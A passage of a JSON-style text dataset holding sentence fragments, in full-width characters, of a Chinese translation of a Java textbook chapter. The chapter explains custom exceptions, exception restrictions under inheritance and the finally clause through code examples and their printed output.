ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 继承在创建新类时发生： ｃｌａｓｓ ＭｙＥｘｃｅｐｔｉｏｎ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛ ｐｕｂｌｉｃ ＭｙＥｘｃｅｐｔｉｏｎ（） ｛｝ ｐｕｂｌｉｃ ＭｙＥｘｃｅｐｔｉｏｎ（Ｓｔｒｉｎｇ ｍｓｇ） ｛ ｓｕｐｅｒ（ｍｓｇ）；"},
    {"text": "该程序输出结果如下： Ｔｈｒｏｗｉｎｇ ＭｙＥｘｃｅｐｔｉｏｎ ｆｒｏｍ ｆ（） ＭｙＥｘｃｅｐｔｉｏｎ ａｔ Ｉｎｈｅｒｉｔｉｎｇ．ｆ（Ｉｎｈｅｒｉｔｉｎｇ．ｊａｖａ：１６） ａｔ Ｉｎｈｅｒｉｔｉｎｇ．ｍａｉｎ（Ｉｎｈｅｒｉｔｉｎｇ．ｊａｖａ：２４） Ｔｈｒｏｗｉｎｇ ＭｙＥｘｃｅｐｔｉｏｎ ｆｒｏｍ ｇ（） ＭｙＥｘｃｅｐｔｉｏｎ： Ｏｒｉｇｉｎａｔｅｄ ｉｎ ｇ（） ａｔ Ｉｎｈｅｒｉｔｉｎｇ．ｇ（Ｉｎｈｅｒｉｔｉｎｇ．ｊａｖａ：２０） ａｔ Ｉｎｈｅｒｉｔｉｎｇ．ｍａｉｎ（Ｉｎｈｅｒｉｔｉｎｇ．ｊａｖａ：２９） 可以看到，在从 ｆ（）“掷”出的 ＭｙＥｘｃｅｐｔｉｏｎ 违例中，缺乏详细的消息。"},
    {"text": "我们可添加额外的构建器及成员： ／／： Ｉｎｈｅｒｉｔｉｎｇ２．ｊａｖａ ／／ Ｉｎｈｅｒｉｔｉｎｇ ｙｏｕｒ ｏｗｎ ｅｘｃｅｐｔｉｏｎｓ ｃｌａｓｓ ＭｙＥｘｃｅｐｔｉｏｎ２ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛ ｐｕｂｌｉｃ ＭｙＥｘｃｅｐｔｉｏｎ２（） ｛｝ ｐｕｂｌｉｃ ＭｙＥｘｃｅｐｔｉｏｎ２（Ｓｔｒｉｎｇ ｍｓｇ） ｛ ｓｕｐｅｒ（ｍｓｇ）；"},
    {"text": "｝ ｐｕｂｌｉｃ ＭｙＥｘｃｅｐｔｉｏｎ２（Ｓｔｒｉｎｇ ｍｓｇ， ｉｎｔ ｘ） ｛ ｓｕｐｅｒ（ｍｓｇ）； ｉ ＝ ｘ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｖａｌ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ ２７２ ｐｒｉｖａｔｅ ｉｎｔ ｉ； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｉｎｈｅｒｉｔｉｎｇ２ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｆ（） ｔｈｒｏｗｓ ＭｙＥｘｃｅｐｔｉｏｎ２ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｔｈｒｏｗｉｎｇ ＭｙＥｘｃｅｐｔｉｏｎ２ ｆｒｏｍ ｆ（）＂）； ｔｈｒｏｗ ｎｅｗ ＭｙＥｘｃｅｐｔｉｏｎ２（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｇ（） ｔｈｒｏｗｓ ＭｙＥｘｃｅｐｔｉｏｎ２ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｔｈｒｏｗｉｎｇ ＭｙＥｘｃｅｐｔｉｏｎ２ ｆｒｏｍ ｇ（）＂）； ｔｈｒｏｗ ｎｅｗ ＭｙＥｘｃｅｐｔｉｏｎ２（＂Ｏｒｉｇｉｎａｔｅｄ ｉｎ ｇ（）＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｈ（） ｔｈｒｏｗｓ ＭｙＥｘｃｅｐｔｉｏｎ２ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｔｈｒｏｗｉｎｇ ＭｙＥｘｃｅｐｔｉｏｎ２ ｆｒｏｍ ｈ（）＂）； ｔｈｒｏｗ ｎｅｗ ＭｙＥｘｃｅｐｔｉｏｎ２（ ＂Ｏｒｉｇｉｎａｔｅｄ ｉｎ ｈ（）＂， ４７）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ｆ（）； ｝ ｃａｔｃｈ（ＭｙＥｘｃｅｐｔｉｏｎ２ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｔｒｙ ｛ ｇ（）； ｝ ｃａｔｃｈ（ＭｙＥｘｃｅｐｔｉｏｎ２ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｔｒｙ ｛ ｈ（）； ｝ ｃａｔｃｈ（ＭｙＥｘｃｅｐｔｉｏｎ２ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｅ．ｖａｌ（） ＝ ＂ ＋ ｅ．ｖａｌ（））； ｝ ｝ ｝ ／／／：￣ 此时添加了一个数据成员 ｉ；"},
    {"text": "输出结果如下： Ｔｈｒｏｗｉｎｇ ＭｙＥｘｃｅｐｔｉｏｎ２ ｆｒｏｍ ｆ（） ＭｙＥｘｃｅｐｔｉｏｎ２ ａｔ Ｉｎｈｅｒｉｔｉｎｇ２．ｆ（Ｉｎｈｅｒｉｔｉｎｇ２．ｊａｖａ：２２） ａｔ Ｉｎｈｅｒｉｔｉｎｇ２．ｍａｉｎ（Ｉｎｈｅｒｉｔｉｎｇ２．ｊａｖａ：３４） Ｔｈｒｏｗｉｎｇ ＭｙＥｘｃｅｐｔｉｏｎ２ ｆｒｏｍ ｇ（） ＭｙＥｘｃｅｐｔｉｏｎ２： Ｏｒｉｇｉｎａｔｅｄ ｉｎ ｇ（） ａｔ Ｉｎｈｅｒｉｔｉｎｇ２．ｇ（Ｉｎｈｅｒｉｔｉｎｇ２．ｊａｖａ：２６） ａｔ Ｉｎｈｅｒｉｔｉｎｇ２．ｍａｉｎ（Ｉｎｈｅｒｉｔｉｎｇ２．ｊａｖａ：３９） Ｔｈｒｏｗｉｎｇ ＭｙＥｘｃｅｐｔｉｏｎ２ ｆｒｏｍ ｈ（） ２７３ ＭｙＥｘｃｅｐｔｉｏｎ２： Ｏｒｉｇｉｎａｔｅｄ ｉｎ ｈ（） ａｔ Ｉｎｈｅｒｉｔｉｎｇ２．ｈ（Ｉｎｈｅｒｉｔｉｎｇ２．ｊａｖａ：３０） ａｔ Ｉｎｈｅｒｉｔｉｎｇ２．ｍａｉｎ（Ｉｎｈｅｒｉｔｉｎｇ２．ｊａｖａ：４４） ｅ．ｖａｌ（） ＝ ４７ 由于违例不过是另一种形式的对象，所以可以继续这个进程，进一步增强违例类的能力。"},
    {"text": "若出现这种情况，有可能创建一个新违 例类型，其中几乎不包含任何代码： ／／： ＳｉｍｐｌｅＥｘｃｅｐｔｉｏｎ．ｊａｖａ ｃｌａｓｓ ＳｉｍｐｌｅＥｘｃｅｐｔｉｏｎ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛ ｝ ／／／：￣ 它要依赖编译器来创建默认构建器（会自动调用基础类的默认构建器）。"},
    {"text": "这是一个重要的限制，因为它意味着与基 础类协同工作的代码也会自动应用于从基础类衍生的任何对象（当然，这属于基本的 ＯＯＰ 概念），其中包括 违例。"},
    {"text": "下面这个例子演示了强加在违例身上的限制类型（在编译期）： ／／： ＳｔｏｒｍｙＩｎｎｉｎｇ．ｊａｖａ ／／ Ｏｖｅｒｒｉｄｄｅｎ ｍｅｔｈｏｄｓ ｍａｙ ｔｈｒｏｗ ｏｎｌｙ ｔｈｅ ／／ ｅｘｃｅｐｔｉｏｎｓ ｓｐｅｃｉｆｉｅｄ ｉｎ ｔｈｅｉｒ ｂａｓｅ－ｃｌａｓｓ ／／ ｖｅｒｓｉｏｎｓ， ｏｒ ｅｘｃｅｐｔｉｏｎｓ ｄｅｒｉｖｅｄ ｆｒｏｍ ｔｈｅ ／／ ｂａｓｅ－ｃｌａｓｓ ｅｘｃｅｐｔｉｏｎｓ． ｃｌａｓｓ ＢａｓｅｂａｌｌＥｘｃｅｐｔｉｏｎ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛｝ ｃｌａｓｓ Ｆｏｕｌ ｅｘｔｅｎｄｓ ＢａｓｅｂａｌｌＥｘｃｅｐｔｉｏｎ ｛｝ ｃｌａｓｓ Ｓｔｒｉｋｅ ｅｘｔｅｎｄｓ ＢａｓｅｂａｌｌＥｘｃｅｐｔｉｏｎ ｛｝ ａｂｓｔｒａｃｔ ｃｌａｓｓ Ｉｎｎｉｎｇ ｛ Ｉｎｎｉｎｇ（） ｔｈｒｏｗｓ ＢａｓｅｂａｌｌＥｘｃｅｐｔｉｏｎ ｛｝ ｖｏｉｄ ｅｖｅｎｔ （） ｔｈｒｏｗｓ ＢａｓｅｂａｌｌＥｘｃｅｐｔｉｏｎ ｛ ／／ Ｄｏｅｓｎ＇ｔ ａｃｔｕａｌｌｙ ｈａｖｅ ｔｏ ｔｈｒｏｗ ａｎｙｔｈｉｎｇ ｝ ａｂｓｔｒａｃｔ ｖｏｉｄ ａｔＢａｔ（） ｔｈｒｏｗｓ Ｓｔｒｉｋｅ， Ｆｏｕｌ；"},
    {"text": "ｖｏｉｄ ｗａｌｋ（） ｛｝ ／／ Ｔｈｒｏｗｓ ｎｏｔｈｉｎｇ ｝ ｃｌａｓｓ ＳｔｏｒｍＥｘｃｅｐｔｉｏｎ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛｝ ｃｌａｓｓ ＲａｉｎｅｄＯｕｔ ｅｘｔｅｎｄｓ ＳｔｏｒｍＥｘｃｅｐｔｉｏｎ ｛｝ ｃｌａｓｓ ＰｏｐＦｏｕｌ ｅｘｔｅｎｄｓ Ｆｏｕｌ ｛｝ ｉｎｔｅｒｆａｃｅ Ｓｔｏｒｍ ｛ ｖｏｉｄ ｅｖｅｎｔ（） ｔｈｒｏｗｓ ＲａｉｎｅｄＯｕｔ； ｖｏｉｄ ｒａｉｎＨａｒｄ（） ｔｈｒｏｗｓ ＲａｉｎｅｄＯｕｔ； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＳｔｏｒｍｙＩｎｎｉｎｇ ｅｘｔｅｎｄｓ Ｉｎｎｉｎｇ ｉｍｐｌｅｍｅｎｔｓ Ｓｔｏｒｍ ｛ ／／ ＯＫ ｔｏ ａｄｄ ｎｅｗ ｅｘｃｅｐｔｉｏｎｓ ｆｏｒ ｃｏｎｓｔｒｕｃｔｏｒｓ， ２７４ ／／ ｂｕｔ ｙｏｕ ｍｕｓｔ ｄｅａｌ ｗｉｔｈ ｔｈｅ ｂａｓｅ ｃｏｎｓｔｒｕｃｔｏｒ ／／ ｅｘｃｅｐｔｉｏｎｓ： ＳｔｏｒｍｙＩｎｎｉｎｇ（） ｔｈｒｏｗｓ ＲａｉｎｅｄＯｕｔ， ＢａｓｅｂａｌｌＥｘｃｅｐｔｉｏｎ ｛｝ ＳｔｏｒｍｙＩｎｎｉｎｇ（Ｓｔｒｉｎｇ ｓ） ｔｈｒｏｗｓ Ｆｏｕｌ， ＢａｓｅｂａｌｌＥｘｃｅｐｔｉｏｎ ｛｝ ／／ Ｒｅｇｕｌａｒ ｍｅｔｈｏｄｓ ｍｕｓｔ ｃｏｎｆｏｒｍ ｔｏ ｂａｓｅ ｃｌａｓｓ： ／／！ ｖｏｉｄ ｗａｌｋ（） ｔｈｒｏｗｓ ＰｏｐＦｏｕｌ ｛｝ ／／Ｃｏｍｐｉｌｅ ｅｒｒｏｒ ／／ Ｉｎｔｅｒｆａｃｅ ＣＡＮＮＯＴ ａｄｄ ｅｘｃｅｐｔｉｏｎｓ ｔｏ ｅｘｉｓｔｉｎｇ ／／ ｍｅｔｈｏｄｓ ｆｒｏｍ ｔｈｅ ｂａｓｅ ｃｌａｓｓ： ／／！ ｐｕｂｌｉｃ ｖｏｉｄ ｅｖｅｎｔ（） ｔｈｒｏｗｓ ＲａｉｎｅｄＯｕｔ ｛｝ ／／ Ｉｆ ｔｈｅ ｍｅｔｈｏｄ ｄｏｅｓｎ＇ｔ ａｌｒｅａｄｙ ｅｘｉｓｔ ｉｎ ｔｈｅ ／／ ｂａｓｅ ｃｌａｓｓ， ｔｈｅ ｅｘｃｅｐｔｉｏｎ ｉｓ ＯＫ： ｐｕｂｌｉｃ ｖｏｉｄ ｒａｉｎＨａｒｄ（） ｔｈｒｏｗｓ ＲａｉｎｅｄＯｕｔ ｛｝ ／／ Ｙｏｕ ｃａｎ ｃｈｏｏｓｅ ｔｏ ｎｏｔ ｔｈｒｏｗ ａｎｙ ｅｘｃｅｐｔｉｏｎｓ， ／／ ｅｖｅｎ ｉｆ ｂａｓｅ ｖｅｒｓｉｏｎ ｄｏｅｓ： ｐｕｂｌｉｃ ｖｏｉｄ ｅｖｅｎｔ（） ｛｝ ／／ Ｏｖｅｒｒｉｄｄｅｎ ｍｅｔｈｏｄｓ ｃａｎ ｔｈｒｏｗ ／／ ｉｎｈｅｒｉｔｅｄ ｅｘｃｅｐｔｉｏｎｓ： ｖｏｉｄ ａｔＢａｔ（） ｔｈｒｏｗｓ ＰｏｐＦｏｕｌ ｛｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ＳｔｏｒｍｙＩｎｎｉｎｇ ｓｉ ＝ ｎｅｗ ＳｔｏｒｍｙＩｎｎｉｎｇ（）；"},
    {"text": "｝ ｃａｔｃｈ（ＰｏｐＦｏｕｌ ｅ） ｛ ｝ ｃａｔｃｈ（ＲａｉｎｅｄＯｕｔ ｅ） ｛ ｝ ｃａｔｃｈ（ＢａｓｅｂａｌｌＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ／／ Ｓｔｒｉｋｅ ｎｏｔ ｔｈｒｏｗｎ ｉｎ ｄｅｒｉｖｅｄ ｖｅｒｓｉｏｎ． ｔｒｙ ｛ ／／ Ｗｈａｔ ｈａｐｐｅｎｓ ｉｆ ｙｏｕ ｕｐｃａｓｔ？ Ｉｎｎｉｎｇ ｉ ＝ ｎｅｗ ＳｔｏｒｍｙＩｎｎｉｎｇ（）； ｉ．ａｔＢａｔ（）；"},
    {"text": "／／ Ｙｏｕ ｍｕｓｔ ｃａｔｃｈ ｔｈｅ ｅｘｃｅｐｔｉｏｎｓ ｆｒｏｍ ｔｈｅ ／／ ｂａｓｅ－ｃｌａｓｓ ｖｅｒｓｉｏｎ ｏｆ ｔｈｅ ｍｅｔｈｏｄ： ｝ ｃａｔｃｈ（Ｓｔｒｉｋｅ ｅ） ｛ ｝ ｃａｔｃｈ（Ｆｏｕｌ ｅ） ｛ ｝ ｃａｔｃｈ（ＲａｉｎｅｄＯｕｔ ｅ） ｛ ｝ ｃａｔｃｈ（ＢａｓｅｂａｌｌＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｝ ｝ ／／／：￣ 在 Ｉｎｎｉｎｇ 中，可以看到无论构建器还是 ｅｖｅｎｔ（）方法都指出自己会“掷”出一个违例，但它们实际上没有那 样做。"},
    {"text": "“ｉｎｔｅｒｆａｃｅ Ｓｔｏｒｍ”非常有趣，因为它包含了在 Ｉｎｃｏｍｉｎｇ 中定义的一个方法——ｅｖｅｎｔ（），以及不是在其中 定义的一个方法。"},
    {"text": "当执行到“ＳｔｏｒｍｙＩｎｎｉｎｇ ｅｘｔｅｎｄｓ”和“ｉｍｐｌｅｍｅｎｔｓ Ｓｔｏｒｍ”的时候，可以看到 Ｓｔｏｒｍ 中的 ｅｖｅｎｔ（）方法不能改变 Ｉｎｎｉｎｇ 中的 ｅｖｅｎｔ（） 的违例接口。"},
    {"text": "然而，由于必须坚持按某种方式调用基础类构建器（在这里，会自动 ２７５ 调用默认构建器），所以衍生类构建器必须在自己的违例规范中声明所有基础类构建器违例。"},
    {"text": "差不多的道理 亦适用于 ａｔＢａｔ（），它会“掷”出 ＰｏｐＦｏｕｌ——从 Ｆｏｕｌ 衍生出来的一个违例，而 Ｆｏｕｌ 违例是由 ａｔＢａｔ（）的基 础类版本产生的。"},
    {"text": "在这个地方，假如我们明确操作一个 ＳｔｏｒｍｙＩｎｎｉｎｇ 对象，编译器就会 强迫我们只捕获特定于那个类的违例。 但假如我们上溯造型到基础类型，编译器就会强迫我们捕获针对基础 类的违例。"},
    {"text": "我们必须认识到这一点：尽管违例规范是由编译器在继承期间强行遵守的，但违例规范并不属于方法类型的 一部分，后者仅包括了方法名以及自变量类型。"},
    {"text": "换言之，用于一个特定方法的 “违例规范接口”可能在继承和覆盖时变得更“窄”，但它不会变得更“宽”——这与继承时的类接口规则 是正好相反的。"},
    {"text": "所以完整的违例控制小节象下面这个样子： ｔｒｙ ｛ ／／ 要保卫的区域： ／／ 可能“掷”出 Ａ，Ｂ，或 Ｃ 的危险情况 ｝ ｃａｔｃｈ （Ａ ａ１） ｛ ／／ 控制器 Ａ ｝ ｃａｔｃｈ （Ｂ ｂ１） ｛ ／／ 控制器 Ｂ ｝ ｃａｔｃｈ （Ｃ ｃ１） ｛ ／／ 控制器 Ｃ ｝ ｆｉｎａｌｌｙ ｛ ／／ 每次都会发生的情况 ｝ ④：Ｃ＋＋违例控制未提供 ｆｉｎａｌｌｙ 从句，因为它依赖构建器来达到这种清除效果。"},
    {"text": "为演示 ｆｉｎａｌｌｙ 从句，请试验下面这个程序： ／／： ＦｉｎａｌｌｙＷｏｒｋｓ．ｊａｖａ ／／ Ｔｈｅ ｆｉｎａｌｌｙ ｃｌａｕｓｅ ｉｓ ａｌｗａｙｓ ｅｘｅｃｕｔｅｄ ｐｕｂｌｉｃ ｃｌａｓｓ ＦｉｎａｌｌｙＷｏｒｋｓ ｛ ｓｔａｔｉｃ ｉｎｔ ｃｏｕｎｔ ＝ ０；"},
    {"text": "ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ２７６ ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｔｒｙ ｛ ／／ ｐｏｓｔ－ｉｎｃｒｅｍｅｎｔ ｉｓ ｚｅｒｏ ｆｉｒｓｔ ｔｉｍｅ： ｉｆ（ｃｏｕｎｔ＋＋ ＝＝ ０） ｔｈｒｏｗ ｎｅｗ Ｅｘｃｅｐｔｉｏｎ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｎｏ ｅｘｃｅｐｔｉｏｎ＂）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｘｃｅｐｔｉｏｎ ｔｈｒｏｗｎ＂）； ｝ ｆｉｎａｌｌｙ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉｎ ｆｉｎａｌｌｙ ｃｌａｕｓｅ＂）； ｉｆ（ｃｏｕｎｔ ＝＝ ２） ｂｒｅａｋ；"},
    {"text": "／／ ｏｕｔ ｏｆ ＂ｗｈｉｌｅ＂ ｝ ｝ ｝ ｝ ／／／：￣ 通过该程序，我们亦可知道如何应付 Ｊａｖａ 违例（类似 Ｃ＋＋的违例）不允许我们恢复至违例产生地方的这一事 实。"},
    {"text": "输出如下： Ｅｘｃｅｐｔｉｏｎ ｔｈｒｏｗｎ ｉｎ ｆｉｎａｌｌｙ ｃｌａｕｓｅ Ｎｏ ｅｘｃｅｐｔｉｏｎ ｉｎ ｆｉｎａｌｌｙ ｃｌａｕｓｅ 无论是否“掷”出一个违例，ｆｉｎａｌｌｙ 从句都会执行。"},
    {"text": "９ ． ６ ． １ 用 ｆ ｉ ｎ ａ ｌ ｌ ｙ 做什么 在没有“垃圾收集”以及“自动调用破坏器”机制的一种语言中（注释⑤），ｆｉｎａｌｌｙ 显得特别重要，因为 程序员可用它担保内存的正确释放——无论在 ｔｒｙ 块内部发生了什么状况。"},
    {"text": "Ｃ＋＋提供了自动的破坏器调用机 制，但 Ｄｅｌｐｈｉ 的 Ｏｂｊｅｃｔ Ｐａｓｃａｌ 版本 １ 及 ２ 却不具备这一能力（在这种语言中，破坏器的含义与用法都发生 了变化）。"},
    {"text": "如下例所示： ／／： ＯｎＯｆｆＳｗｉｔｃｈ．ｊａｖａ ／／ Ｗｈｙ ｕｓｅ ｆｉｎａｌｌｙ？ ｃｌａｓｓ Ｓｗｉｔｃｈ ｛ ｂｏｏｌｅａｎ ｓｔａｔｅ ＝ ｆａｌｓｅ； ｂｏｏｌｅａｎ ｒｅａｄ（） ｛ ｒｅｔｕｒｎ ｓｔａｔｅ； ｝ ｖｏｉｄ ｏｎ（） ｛ ｓｔａｔｅ ＝ ｔｒｕｅ； ｝ ｖｏｉｄ ｏｆｆ（） ｛ ｓｔａｔｅ ＝ ｆａｌｓｅ； ｝ ｝ ２７７ ｐｕｂｌｉｃ ｃｌａｓｓ ＯｎＯｆｆＳｗｉｔｃｈ ｛ ｓｔａｔｉｃ Ｓｗｉｔｃｈ ｓｗ ＝ ｎｅｗ Ｓｗｉｔｃｈ（）； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ｓｗ．ｏｎ（）； ／／ Ｃｏｄｅ ｔｈａｔ ｃａｎ ｔｈｒｏｗ ｅｘｃｅｐｔｉｏｎｓ．．． ｓｗ．ｏｆｆ（）； ｝ ｃａｔｃｈ（ＮｕｌｌＰｏｉｎｔｅｒＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＮｕｌｌＰｏｉｎｔｅｒＥｘｃｅｐｔｉｏｎ＂）； ｓｗ．ｏｆｆ（）； ｝ ｃａｔｃｈ（ＩｌｌｅｇａｌＡｒｇｕｍｅｎｔＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＩＯＥｘｃｅｐｔｉｏｎ＂）； ｓｗ．ｏｆｆ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 这里的目标是保证 ｍａｉｎ（）完成时开关处于关闭状态，所以将 ｓｗ．ｏｆｆ（）置于 ｔｒｙ 块以及每个违例控制器的末 尾。"},
    {"text": "然而，利用 ｆｉｎａｌｌｙ，我们可以将 来自 ｔｒｙ 块的关闭代码只置于一个地方： ／／： ＷｉｔｈＦｉｎａｌｌｙ．ｊａｖａ ／／ Ｆｉｎａｌｌｙ Ｇｕａｒａｎｔｅｅｓ ｃｌｅａｎｕｐ ｃｌａｓｓ Ｓｗｉｔｃｈ２ ｛ ｂｏｏｌｅａｎ ｓｔａｔｅ ＝ ｆａｌｓｅ；"},
    {"text": "ｂｏｏｌｅａｎ ｒｅａｄ（） ｛ ｒｅｔｕｒｎ ｓｔａｔｅ； ｝ ｖｏｉｄ ｏｎ（） ｛ ｓｔａｔｅ ＝ ｔｒｕｅ； ｝ ｖｏｉｄ ｏｆｆ（） ｛ ｓｔａｔｅ ＝ ｆａｌｓｅ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＷｉｔｈＦｉｎａｌｌｙ ｛ ｓｔａｔｉｃ Ｓｗｉｔｃｈ２ ｓｗ ＝ ｎｅｗ Ｓｗｉｔｃｈ２（）； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ｓｗ．ｏｎ（）； ／／ Ｃｏｄｅ ｔｈａｔ ｃａｎ ｔｈｒｏｗ ｅｘｃｅｐｔｉｏｎｓ．．． ｝ ｃａｔｃｈ（ＮｕｌｌＰｏｉｎｔｅｒＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＮｕｌｌＰｏｉｎｔｅｒＥｘｃｅｐｔｉｏｎ＂）； ｝ ｃａｔｃｈ（ＩｌｌｅｇａｌＡｒｇｕｍｅｎｔＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＩＯＥｘｃｅｐｔｉｏｎ＂）； ｝ ｆｉｎａｌｌｙ ｛ ｓｗ．ｏｆｆ（）； ｝ ｝ ｝ ／／／：￣ 在这儿，ｓｗ．ｏｆｆ（）已移至一个地方。"},
    {"text": "如下所示： ２７８ ／／： ＡｌｗａｙｓＦｉｎａｌｌｙ．ｊａｖａ ／／ Ｆｉｎａｌｌｙ ｉｓ ａｌｗａｙｓ ｅｘｅｃｕｔｅｄ ｃｌａｓｓ Ｅｘ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＡｌｗａｙｓＦｉｎａｌｌｙ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｅｎｔｅｒｉｎｇ ｆｉｒｓｔ ｔｒｙ ｂｌｏｃｋ＂）； ｔｒｙ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｅｎｔｅｒｉｎｇ ｓｅｃｏｎｄ ｔｒｙ ｂｌｏｃｋ＂）； ｔｒｙ ｛ ｔｈｒｏｗ ｎｅｗ Ｅｘ（）； ｝ ｆｉｎａｌｌｙ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｆｉｎａｌｌｙ ｉｎ ２ｎｄ ｔｒｙ ｂｌｏｃｋ＂）； ｝ ｝ ｃａｔｃｈ（Ｅｘ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃａｕｇｈｔ Ｅｘ ｉｎ ｆｉｒｓｔ ｔｒｙ ｂｌｏｃｋ＂）； ｝ ｆｉｎａｌｌｙ ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｆｉｎａｌｌｙ ｉｎ １ｓｔ ｔｒｙ ｂｌｏｃｋ＂）； ｝ ｝ ｝ ／／／：￣ 该程序的输出展示了具体发生的事情： Ｅｎｔｅｒｉｎｇ ｆｉｒｓｔ ｔｒｙ ｂｌｏｃｋ Ｅｎｔｅｒｉｎｇ ｓｅｃｏｎｄ ｔｒｙ ｂｌｏｃｋ ｆｉｎａｌｌｙ ｉｎ ２ｎｄ ｔｒｙ ｂｌｏｃｋ Ｃａｕｇｈｔ Ｅｘ ｉｎ ｆｉｒｓｔ ｔｒｙ ｂｌｏｃｋ ｆｉｎａｌｌｙ ｉｎ １ｓｔ ｔｒｙ ｂｌｏｃｋ 若调用了 ｂｒｅａｋ 和 ｃｏｎｔｉｎｕｅ 语句，ｆｉｎａｌｌｙ 语句也会得以执行。"},
    {"text": "在采用 ｆｉｎａｌｌｙ 从句的一种特殊配 置下，便有可能发生这种情况： ／／： ＬｏｓｔＭｅｓｓａｇｅ．ｊａｖａ ／／ Ｈｏｗ ａｎ ｅｘｃｅｐｔｉｏｎ ｃａｎ ｂｅ ｌｏｓｔ ｃｌａｓｓ ＶｅｒｙＩｍｐｏｒｔａｎｔＥｘｃｅｐｔｉｏｎ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ＂Ａ ｖｅｒｙ ｉｍｐｏｒｔａｎｔ ｅｘｃｅｐｔｉｏｎ！"},
